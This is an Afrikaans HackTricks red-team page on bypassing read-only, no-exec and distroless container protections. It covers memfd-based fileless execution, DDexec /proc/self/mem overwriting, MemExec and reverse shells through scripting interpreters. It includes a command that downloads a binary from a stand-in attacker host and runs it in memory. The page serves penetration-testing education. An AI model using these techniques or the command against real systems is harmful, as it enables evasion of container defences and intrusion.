Bypass FS protections: read-only / no-exec / Distroless

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

As jy belangstel in 'n hak loopbaan en die onhakbare hak - ons is aan die werf! (vloeiende Pools geskrewe en gesproke vereis).

Videos

In die volgende videos kan jy die tegnieke wat in hierdie bladsy genoem word, meer diepgaand verduidelik vind:

lees-slegs / geen-uitvoer scenario

Dit word al hoe meer algemeen om Linux-masjiene te vind wat gemonteer is met lees-slegs (ro) lêerstelselbeskerming, veral in houers. Dit is omdat dit maklik is om 'n houer met 'n ro lêerstelsel te hardloop deur readOnlyRootFilesystem: true in die securitycontext in te stel:

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Nogtans, selfs as die lêerstelsel as ro gemonteer is, sal /dev/shm steeds skryfbaar wees, so dit is vals dat ons niks op die skyf kan skryf nie. Hierdie vouer sal egter gemonteer word met geen-uitvoer beskerming, so as jy 'n binêre lêer hier aflaai, sal jy dit nie kan uitvoer nie.

Vanuit 'n rooi span perspektief, maak dit dit ingewikkeld om binêre lêers af te laai en uit te voer wat nie reeds in die stelsel is nie (soos agterdeure of enumereerders soos kubectl).

Maklikste omseiling: Skripte

Let daarop dat ek van binêre lêers gepraat het, jy kan enige skrip uitvoer solank die tolk binne die masjien is, soos 'n skelmskrip as sh teenwoordig is of 'n python skrip as python geïnstalleer is.

Nogtans is dit nie net genoeg om jou binêre agterdeur of ander binêre gereedskap wat jy mag nodig hê, uit te voer nie.

Geheue Omseilings

As jy 'n binêre lêer wil uitvoer maar die lêerstelsel dit nie toelaat nie, is die beste manier om dit te doen deur dit vanaf die geheue uit te voer, aangesien die beskerming nie daarop van toepassing is nie.

FD + exec syscall omseiling

As jy kragtige skripskrywers binne die masjien het, soos Python, Perl, of Ruby kan jy die binêre aflaai om vanaf die geheue uit te voer, dit in 'n geheue lêerbeskrywer stoor (create_memfd syscall), wat nie deur daardie beskerming beskerm gaan word nie, en dan 'n exec syscall aanroep wat die fd as die lêer om uit te voer aandui.

Hiervoor kan jy maklik die projek fileless-elf-exec gebruik. Jy kan dit 'n binêre lêer gee en dit sal 'n skrip genereer in die aangeduide taal met die binêre saamgepers en b64 gekodeer met die instruksies om dit te ontsodeer en te dekompresseer in 'n fd wat geskep is deur die create_memfd syscall te roep en 'n oproep na die exec syscall om dit uit te voer.

Dit werk nie in ander skripskryftale soos PHP of Node nie omdat hulle geen standaard manier het om rou syscalls vanaf 'n skrip te roep nie, so dit is nie moontlik om create_memfd te roep om die geheue fd te skep om die binêre te stoor nie.

Verder, 'n gewone fd met 'n lêer in /dev/shm skep sal nie werk nie, aangesien jy nie toegelaat sal word om dit uit te voer nie omdat die geen-uitvoer beskerming van toepassing sal wees.

DDexec / EverythingExec

DDexec / EverythingExec is 'n tegniek wat jou in staat stel om die geheue van jou eie proses te modifiseer deur sy /proc/self/mem te oorskryf.

Daarom, deur die samestellingskode te beheer wat deur die proses uitgevoer word, kan jy 'n shellkode skryf en die proses "muteer" om enige willekeurige kode uit te voer.

DDexec / EverythingExec sal jou in staat stel om jou eie shellkode of enige binêre vanaf geheue te laai en uit te voer.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

MemExec

Memexec is die natuurlike volgende stap van DDexec. Dit is 'n DDexec shellcode gedemoniseer, sodat elke keer as jy 'n verskillende binêre lêer wil hardloop hoef jy nie DDexec weer te begin nie, jy kan net memexec shellcode hardloop via die DDexec tegniek en dan met hierdie duiwel kommunikeer om nuwe binêre lêers te laai en hardloop.

Jy kan 'n voorbeeld vind van hoe om memexec te gebruik om binêre lêers van 'n PHP omgekeerde dop te hardloop in https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Met 'n soortgelyke doel as DDexec, laat die memdlopen tegniek 'n makliker manier toe om binêre lêers in geheue te laai om hulle later uit te voer. Dit kan selfs toelaat om binêre lêers met afhanklikhede te laai.

Distroless Omgewing

Wat is distroless

Distroless houers bevat slegs die kaal minimum komponente wat nodig is om 'n spesifieke aansoek of diens te hardloop, soos biblioteke en hardloop afhanklikhede, maar sluit groter komponente uit soos 'n pakkettebestuurder, skul, of stelsel nutsmaatskappye.

Die doel van distroless houers is om die aanvalsvlak van houers te verminder deur onnodige komponente te elimineer en die aantal kwesbaarhede wat uitgebuit kan word te minimeer.

Omgekeerde Dop

In 'n distroless houer mag jy dalk nie eers sh of bash vind om 'n gewone dop te kry nie. Jy sal ook nie binêre lêers soos ls, whoami, id... vind nie, alles wat jy gewoonlik in 'n stelsel hardloop.

Daarom sal jy nie in staat wees om 'n omgekeerde dop te kry of die stelsel te opnoem soos jy gewoonlik doen nie.

Maar as die gekompromitteerde houer byvoorbeeld 'n flask web hardloop, dan is Python geïnstalleer, en dus kan jy 'n Python omgekeerde dop kry. As dit node hardloop, kan jy 'n Node omgekeerde dop kry, en dieselfde met meeste enige skrips taal.

Deur die skrips taal te gebruik kan jy die stelsel opnoem deur die taal se vermoëns te gebruik.

As daar geen read-only/no-exec beskerming is nie, kan jy jou omgekeerde dop misbruik om binêre lêers in die lêerstelsel te skryf en hulle uit te voer.

Maar in hierdie soort houers sal hierdie beskermings gewoonlik bestaan, maar jy kan die vorige geheue uitvoer tegnieke gebruik om hulle te omseil.

Jy kan voorbeelde vind van hoe om sekere RCE kwesbaarhede te misbruik om skrips taal omgekeerde dops te kry en binêre lêers van geheue uit te voer in https://github.com/carlospolop/DistrolessRCE.

As jy belangstel in 'n hackingsloopbaan en wil die onhackbare hack - ons is aan die werf! (vloeiende Pools geskrewe en gespreek benodig).

Leer AWS hack van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated